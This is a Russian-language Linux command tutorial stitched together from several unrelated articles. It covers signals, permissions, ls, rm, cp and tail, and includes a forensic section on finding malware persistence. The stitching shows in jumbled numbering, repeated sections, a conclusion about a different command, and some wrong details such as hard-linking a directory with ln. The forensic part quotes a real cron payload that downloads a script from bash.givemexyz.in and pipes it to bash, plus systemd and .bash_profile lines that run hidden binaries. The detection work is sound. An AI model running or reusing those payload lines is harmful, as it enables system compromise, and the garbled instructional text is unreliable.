Отправка сигналов с клавиатуры
Сигналы могут быть отправлены с клавиатуры. Несколько стандартных значений по умолчанию перечислены ниже. По умолчанию сочетания клавиш для отправки сигналов прерывания может быть определен с помощью команды stty.
CTRL-C
Отправить SIGINT (прерывание). По умолчанию это вызывает процесс прекращается.
CTRL-Z
Отправить SIGTSTP (Suspend). По умолчанию это вызывает процесс приостановить все операции.
CTRL-\
Отправить SIGQUIT (Quit). По умолчанию это вызывает процесс прекратить немедленно и сбросить ядро.
CTRL-T
Отправить SIGINFO (INFO). По умолчанию это заставляет операционную систему отображать информацию о команде. Не поддерживается на всех системах.
вывод
Когда приложения ведут себя неправильно и вызвают к зависанию системы, это очень заманчиво, чтобы перезагрузить компьютер и начать сеанс снова и снова. С помощью этих команд «kill», вы сможете лучше управлять плохим поведением приложений которые вызывают или могут вызвать крах системы. На этом, я завершаю данную тему «Команда kill в Unix/Linux».
Общие понятия:
У каждого объекта в Linux есть свой идентификатор, а так же права доступа, применяемые к данному идентификатору. Идентификатор есть у пользователя — UID, у группы — GID, у файла — inod. Собственно inode является, как идентификатором файла/каталога, так и сущностью, которая содержит в себе информацию о файле/каталоге. Например такую, как: принадлежность к владельцу/группе, тип файла и права доступа к файлу.
Чтобы визуально лицезреть права доступа к файлу или каталогу, его тип и владельцев, а так же, если необходимо, и сам номер inode, необходимо выполнить следующую команду:
Print-server:/# ls -li итого 50 22089 drwxr-xr-x 2 root root 3072 Ноя 15 14:15 bin 32129 drwxr-xr-x 3 root root 1024 Окт 1 18:03 boot 12 lrwxrwxrwx 1 root root 11 Окт 1 15:36 cdrom -> media/cdrom 557 drwxr-xr-x 13 root root 3340 Ноя 17 06:25 dev 30121 drwxr-xr-x 50 root root 4096 Ноя 15 14:46 etc ....
Из вывода команды видно (рассмотрим первую строку):
22089
это есть номер inode
drwxr-xr-x
это есть те самые права доступа и тип файла (об этом ниже)
2
количество жестких ссылок на файл
root
имя владельца файла
root
имя группы владельца файла
3072
размер файла
Ноя 15 14:15
дата создания файла
bin
имя файла/каталога
Для каждого объекта файловой системы в модели полномочий Linux есть три типа полномочий: полномочия чтения (r от read), записи (w от write) и выполнения (x от execution). В полномочия записи входят также возможности удаления и изменения объекта. Право выполнения можно установить для любого файла. Потенциально, любой файл в системе можно запустить на выполнение, как программу в Windows. В Linux является ли файл исполняемым или нет, определяется не по его расширению, а по правам доступа. Кроме того, эти полномочия указываются отдельно для владельца файла, членов группы файла и для всех остальных.
Собрав вышесказанное в кучу, то есть представив 3 правила (rwx) для трех групп (владелец, группа, остальные) запись прав доступа будет выглядеть вот так: rwx rwx rwx(то есть владельцу разрешено чтение, выполнение и запись, группе разрешено то же самое и остальным). Рассмотрев права на папку /bin в выше приведенном листинге, можно представить такую картину:
drwxr-xr-x+ ||||||||||+наличие дополнительных прав (ACL) |||||||||+-исполнение для всех остальных - разрешено ||||||||+--запись для всех остальных - НЕ разрешено |||||||+---чтение для всех остальных - разрешено ||||||+----исполнение для группы владельца - разрешено |||||+-----запись для группы владельца - НЕ разрешено ||||+------чтение для группы владельца - разрешено |||+-------исполнение для владельца - разрешено ||+--------запись для владельца - разрешено |+---------чтение для владельца - разрешено +----------тип файла (об этом ниже...)
Кроме указанного представления полномочий доступа (символьного), существует так же и числовое представление. Для общего понимания, приведу таблицу соответствия числового (двоичного и десятичного) значения прав доступа и буквенного:
владелец | группа | остальные | |
буквенное | rwx | r-x | r— |
числовое (десятичное) | 421 | 401 | 400 |
итоговое | 7 | 5 | 4 |
В приведенной таблице показано, что право чтения, соответствует значению 4, право записи — 2, право выполнения — 1, отсутствие права — 0, складывая данные показатели, можно представлять и назначать права в числовом виде. Для примера, права rwx r-x r— будут соответствовать значению 754, потому что: rwx (4+2+1=7) r-x (4+0+1=5) r— (4+0+0=4). Так же, довольно распространена комбинация rw- (4+2+0=6). Думаю данный пример достаточно нагляден.
ls — просмотр содержимого папки
Команда ls позволяет вывести список файлов заданной папки, по умолчанию, будет выведен список файлов текущей папки:
ls
- Вы можете вывести список файлов из всех подкаталогов рекурсивно, для этого используйте опцию -R:
- ls -R
- Чтобы вывести список файлов нужной папки, вы можете передать ее адрес утилите, например, /home:
- ls /home
Чтобы получить больше информации и вывести все имена файлов в виде списка используйте опцию -l:
ls -l /home/
2. cd — изменить папку
Команда cd позволяет изменить текущую папку на другую. По умолчанию, текущей считается домашняя папка, например, cd Desktop меняет папку на рабочий стол, если вы выполните ее из домашнего каталога:
cd Desktop
Вы также можете указать полный путь к папке:
cd /usr/share/
Команда cd … переходит в папку, которая находится выше на одну в файловой системе:
cd …
Вы также можете вернуться в предыдущую рабочую папку:
cd —
3. rm — удалить файлы
Команда rm позволяет удалить файл. Будьте очень осторожны с ней, она не будет спрашивать подтверждения:
rm file
Например, rm file удалит файл с именем file, который находится в текущей папке. Как и в предыдущих вариантах, вы можете указать полный путь к файлу linux. Например:
- rm /usr/share/file
- Если вы хотите удалить папку, то нужно использовать опцию -r. Она включает рекурсивное удаление всех файлов и папок на всех уровнях вложенности:
- rm -r /home/user/photo/
- Будьте осторожны, потому что эта команда удаляет файлы безвозвратно.
4. rmdir — удалить папку
Команда rmdir позволяет удалить пустую папку. Например, команда rmdir directory удалит папку directory, которая находится в текущей папке:
rmdir directory
Если вам нужно удалить папку с файлами, то нужно использовать утилиту rm вместе с опцией -r.
5. mv — перемещение файлов
Команда mv перемещает файл в новое место. Она также может использоваться для переименования файлов. Например, mv file newfile переименует файл file в newfile:
mv file newfile
Чтобы переместить файл в другую папку нужно указать путь к ней, например, переместим файл file в папку /home/user/tmp/
mv file /home/user/tmp/
6. cp — копирование файлов
Эта cp и mv — это похожие команды linux для работы с файлами. Они работают аналогичным образом, только исходный файл остается на своем месте.
cp file newfile
Вы также можете рекурсивно скопировать всю папку с помощью команды cp -r. Эта команда скопирует всю папку вместе со всеми файлами и вложенными папками в новое место. Например, скопируем папку /etc/:
cp -r /etc /etc_back
7. mkdir — создать папку
- Команда mkdir позволяет создать новую папку mkdir test создаст папку в текущем каталоге:
- mkdir test
- Если нужно создать папку в другом каталоге, укажите полный путь к нему:
- mkdir /home/user/test
8. ln — создание ссылок
Утилита ln позволяет создавать жесткие и символические ссылки на файлы или папки. Для создания символической ссылки используется опция -s. Например, вы создадим ссылку на папку с загрузками:
- ln -s /home/user/Downloads/ /home/user/test/
- Для создания жесткой ссылки никаких опций задавать не нужно:
- ln /home/user/Downloads/ /home/user/test/
9. chmod — изменить права
chmod позволяет изменить права доступа к файлам. Например, chmod +x script.sh добавляет флаг исполняемости к файлу script.sh:
- chmod +x script.sh
- Чтобы убрать флаг исполняемый используйте опцию -x:
- chmod -x script.sh
- Подробнее о том, как работают разрешения для файлов смотрите в статье права доступа к файлам в Linux.
10. touch — создать файл
- Команда touch создает пустой файл. Например, touch file создаст пустой файл в текущей папке с именем file:
- touch file
- Для создания файлов через терминал существует еще несколько команд, они рассмотрены в статье как создать файл в linux.
Команды Linux, Связанные С Передачей Файлов
Эти команды используются для копирования файлов из одной системы в другую систему
87. scp
SCP — это программа безопасного копирования для передачи файлов или каталогов между хостами Linux в сети. SCP использует протокол ssh для передачи данных.
Пример того как локальный файл ‘examples.txt» скопировать на удаленный хост.
88. rsync
Rsync синхронизирует файлы и каталоги между локальными и удаленными машинами. Он может рекурсивно копировать файлы и каталоги, копировать символические ссылки, сохранять (разрешения, группу, время изменения и принадлежность) идентификатор файла.
Синтаксис команды ls
Основные параметры:
- -a. Показывает все файлы, в том числе скрытые с точкой.
- -A. Опция показывает скрытые файлы и скрывает ссылку на текущий каталог.
- -l. Отображает подробный список, в котором показываются права доступа.
- -o. Подробный список, только без группы.
- -d. Отображает только каталоги, без содержимого, не переходить по символьным ссылкам.
- -D. Режим “Emacs dired”. Здесь стоит отметить что же такое режим Emacs? Это текстовый программируемый текстовый редактор.
- -f. Аргумент отключит сортировку и покажет скрытые документы.
- -r. Сортировка в обратном порядке.
- -X. Сортировка по алфавиту.
- -S. Сортировка по размеру документов. Сначала идут файлы и каталоги большего размера, потом маленькие.
- -t. Сортировка по времени изменения. Сначала идут более новые.
- -h. Переводит информацию о размерах директорий и файлов в удобной вид для человека. В конце цифр добавляется буква “K” – килобайты, “M” – мегабайты. Данная опция обычно используется с “-l”, так как необходимо вывести информация о размерах, а потом перевести размеры в удобный формат.
- –hide. Скрыть документы, которые полностью совпадают с указанными символами. Например нужно скрыть “kurica”, указываем –hide kurica.
- -I ‘шаблон’. Скрыть файлы согласно шаблону. Например нужно скрыть все документы, которые начинаются на букву f. Тогда пишем ls -I’f*’.
- -1. Список документов в один столбец.
- –V. Показывает версию программы.
- –help. Справка.
Путь к каталогу может принимать один из трех значений:
- полный путь директории (/etc/network/);
- относительный путь (network);
- пустой значение. Означает, что команда будет выполняться в текущей директории. По умолчанию это домашний каталог.
Команды Linux, для работы с файлами
Эти команды используются для обработки файлов и каталогов.
33. ls
Очень простая, но мощная команда, используемая для отображения файлов и каталогов. По умолчанию команда ls отобразит содержимое текущего каталога.
34. pwd
Linux pwd — это команда для показывает имя текущего рабочего каталога. Когда мы теряемся в каталогах, мы всегда можем показать, где мы находимся.
Пример ример ниже:
35. mkdir
В Linux мы можем использовать команду mkdir для создания каталога.
По умолчанию, запустив mkdir без какой-либо опции, он создаст каталог в текущем каталоге.
36. cat
Мы используем команду cat в основном для просмотра содержимого, объединения и перенаправления выходных файлов. Самый простой способ использовать cat— это просто ввести » имя_файла cat’.
В следующих примерах команды cat отобразится имя дистрибутива Linux и версия, которая в настоящее время установлена на сервере.
37. rm
Когда файл больше не нужен, мы можем удалить его, чтобы сэкономить место. В системе Linux мы можем использовать для этого команду rm.
38. cp
Команда Cp используется в Linux для создания копий файлов и каталогов.
Следующая команда скопирует файл ‘myfile.txt» из текущего каталога в «/home/linkedin/office«.
39. mv
Когда вы хотите переместить файлы из одного места в другое и не хотите их дублировать, требуется использовать команду mv. Подробнее можно прочитать ЗДЕСЬ.
40.cd
Команда Cd используется для изменения текущего рабочего каталога пользователя в Linux и других Unix-подобных операционных системах.
41. Ln
Символическая ссылка или программная ссылка — это особый тип файла, который содержит ссылку, указывающую на другой файл или каталог. Команда ln используется для создания символических ссылок.
Команда Ln использует следующий синтаксис:
42. touch
Команда Touch используется в Linux для изменения времени доступа к файлам и их модификации. Мы можем использовать команду touch для создания пустого файла.
44. head
Команда head используется для печати первых нескольких строк текстового файла. По умолчанию команда head выводит первые 10 строк каждого файла.
45. tail
Как вы, возможно, знаете, команда cat используется для отображения всего содержимого файла с помощью стандартного ввода. Но в некоторых случаях нам приходится отображать часть файла. По умолчанию команда tail отображает последние десять строк.
46. gpg
GPG — это инструмент, используемый в Linux для безопасной связи. Он использует комбинацию двух ключей (криптография с симметричным ключом и открытым ключом) для шифрования файлов.
50. uniq
Uniq — это инструмент командной строки, используемый для создания отчетов и фильтрации повторяющихся строк из файла.
53. tee
Команда Linux tee используется для связывания и перенаправления задач, вы можете перенаправить вывод и/или ошибки в файл, и он не будет отображаться в терминале.
54. tr
Команда tr (translate) используется в Linux в основном для перевода и удаления символов. Его можно использовать для преобразования прописных букв в строчные, сжатия повторяющихся символов и удаления символов.
Поиск следов закрепления вредоносного ПО
Поиск недавно созданных файлов
Инструментарий:
- Практические примеры использования команды find в Linux
- Команда find: поиск в файловой системе по любым свойствам файла
Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:
find /bin/ -mtime -1
Вывод:
- /bin/
- /bin/sysdr
- /bin/bprofr
- /bin/crondr
- /bin/core_perl
Выделенные файлы — это вирусы (проверил на virustotal.com).
Чтобы найти все файлы, которые были изменены ровно 50 дней назад:
find / -mtime 50
Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:
find / -atime 50
Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:
find / -mtime +50 -mtime -100
Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:
find / -cmin -60
Чтобы найти файлы, которые были модифицированы за последний час:
find / -mmin -60
Чтобы найти все файлы, доступ к которым был сделан за последний час:
find / -amin -60
Поиск служб в автозагрузке
Инструментарий:
- Как использовать Systemctl для управления службами Systemd и юнитами
- Как в Linux добавить программу в автозагрузку
Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:
systemctl list-unit-files | grep enabled
Посмотрите на две службы с именами:
- pwnrige.service
- pwnrigl.service
На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.
Можно посмотреть, что там внутри:
sudo systemctl edit pwnrige.service sudo systemctl edit pwnrigl.service
Или так:
cat /etc/systemd/system/pwnrige.service cat /usr/lib/systemd/system/pwnrigl.service
Следующая строка
/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null'
Говорит нам о том, что файл вируса спрятан в /bin/sysdr.
Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:
find /etc/systemd/system/ /usr/lib/systemd/system/ -mtime -1
Знакомые нам файлы:
- /etc/systemd/system/pwnrige.service
- /usr/lib/systemd/system/pwnrigl.service
Поиск по содержимому файлов (по тексту)
Инструментарий:
Регулярные выражения и команда grep
Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:
grep --color -E '(sysdr)|(cp )' /etc/systemd/system/* /usr/lib/systemd/system/* 2>/dev/null
Расписания задач Cron
Инструментарий:
Как вывести все задачи Cron
Следующие две команды покажут содержимое задач Cron для всех пользователей:
for user in $(cut -f1 -d: /etc/passwd); do sudo crontab -u $user -l 2>/dev/null | grep -v '^#'; done
Более гибкий вариант, не рассчитывает на имена пользователей:
grep '*' --color /etc/anacrontab /var/spool/cron/crontabs/* /var/spool/cron/* /etc/cron.hourly/* /etc/cron.daily/* /etc/cron.weekly/* /etc/cron.monthly/* /etc/cron.d/* /etc/init.d/down 2>/dev/null
Обратите внимание, как прочно укоренился вирус в системе:
(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /xms; bash /xms; /xms; rm -rf /xms
Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:
- /etc/cron.d/root
- /etc/cron.d/nginx
- /etc/cron.d/apache
- /var/spool/cron/root
Автоматически выполняемые скрипты
Инструментарий:
Различия между Login shell и Non login shell (оболочка с входом и оболочка без входа)
В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.
Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:
- /etc/profile
- /etc/profile.d/*
- ~/.bash_profile
- ~/.bashrc
- /etc/bashrc
Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:
sudo grep --color '.*' /etc/profile /etc/profile.d/* /home/*/.bash_profile /home/*/.bashrc /etc/bashrc /root/.bash_profile /root/.bashrc
Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:
cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null
Команда ls linux
Как обычно, в таких статьях сначала нам нужно понять синтаксис команды, чтобы вы знали как правильно ее использовать. На самом деле, синтаксис очень прост, вы набираете саму команду, а после нее путь к папке, содержимое которой хотите посмотреть. Если вы запустите команду без пути, то она выдаст содержимое текущего каталога:
$ ls опции/путь/к/папке
Опции команды указывают как именно и в каком виде нужно выводить информацию на экран, а путь, это та папка, которую нужно отобразить. Рассмотрим основные опции утилиты:
- -a – отображать все файлы, включая скрытые, это те, перед именем которых стоит точка;
- -A – не отображать ссылку на текущую папку и корневую папку . и ..;
- –author – выводить создателя файла в режиме подробного списка;
- -b – выводить Escape последовательности вместо непечатаемых символов;
- –block-size – выводить размер каталога или файла в определенной единице измерения, например, мегабайтах, гигабайтах или килобайтах;
- -B – не выводить резервные копии, их имена начинаются с ~;
- -c – сортировать файлы по времени модификации или создания, сначала будут выведены новые файлы;
- -C – выводить колонками;
- –color – включить цветной режим вывода, автоматически активирована во многих дистрибутивах;
- -d – выводить только директории, без их содержимого, полезно при рекурсивном выводе;
- -D – использовать режим вывода, совместимый с Emacs;
- -f – не сортировать;
- -F – показывать тип объекта, к каждому объекту будет добавлен один из специализированных символов */=>@|;
- –full-time – показывать подробную информацию, плюс вся информация о времени в формате ISO;
- -g – показывать подробную информацию, но кроме владельца файла;
- –group-directories-first – сначала отображать директории, а уже потом файлы;
- -G – не выводить имена групп;
- -h – выводить размеры папок в удобном для чтения формате;
- -H – открывать символические ссылки при рекурсивном использовании;
- –hide – не отображать файлы, которые начинаются с указанного символа;
- -i – отображать номер индекса inode, в которой хранится этот файл;
- -l – выводить подробный список, в котором будет отображаться владелец, группа, дата создания, размер и другие параметры;
- -L – для символических ссылок отображать информацию о файле, на который они ссылаются;
- -m – разделять элементы списка запятой;
- -n – выводить UID и GID вместо имени и группы пользователя;
- -N – выводить имена как есть, не обрабатывать контролирующие последовательности;
- -Q – брать имена папок и файлов в кавычки;
- -r – обратный порядок сортировки;
- -R – рекурсивно отображать содержимое поддиректорий;
- -s – выводить размер файла в блоках;
- -S – сортировать по размеру, сначала большие;
- -t – сортировать по времени последней модификации;
- -u – сортировать по времени последнего доступа;
- -U – не сортировать;
- -X – сортировать по алфавиту;
- -Z – отображать информацию о расширениях SELinux;
- -1 – отображать один файл на одну строку.
Это были все основные параметры команды ls, которые нам может когда-либо понадобиться использовать. Их очень много, но на деле будут нужны только некоторые из них, вы их быстро запомните, а все остальные сможете всегда найти в этой статье или на странице справки man ls. А теперь давайте рассмотрим несколько примеров использования команды ls linux.
Просмотр всех файлов
Вы можете просто использовать подстановочный знак оболочки следующим образом:
Чтобы просмотреть только файлы (c) * .c, введите:
Другой вариант — bash for loop или ksh for loop :
#!/bin/bash for f in sourceproject10/*.pl do echo "***** ****" cat -n "$f" echo "***** ****" done |
#!/bin/bash
for f in /source/project10/*.pl
do
echo «***** ****»
cat -n «$f»
echo «***** ****»
done
ИЛИ то же самое с использованием оболочки ksh :
#!/bin/ksh for f in $(ls sourceproject10/*.pl) do print "*** ****" cat "$f" print "*** ****" done |
#!/bin/ksh
for f in $(ls /source/project10/*.pl)
do
print «*** ****»
cat «$f»
print «*** ****»
done
Выводы
В этой статье была рассмотрена команда tail linux. С помощью нее очень удобно анализировать логи различных служб, а также искать в них ошибки. Надеюсь, эта информация была полезной для вас.
- https://andreyex.ru/linux/komandy-linux-i-komandy-shell/5-prakticheskih-primerov-komandy-tail-v-linux/
- https://www.vseprolinux.ru/linux-tail
- https://losst.ru/komanda-tail-linux
- https://www.hostinger.ru/rukovodstva/komanda-tail-v-linux/
- https://linuxvsem.ru/distributions/tails-linux
- https://xakep.ru/2016/11/01/tails-live-flash/
- https://pingvinus.ru/distribution/tails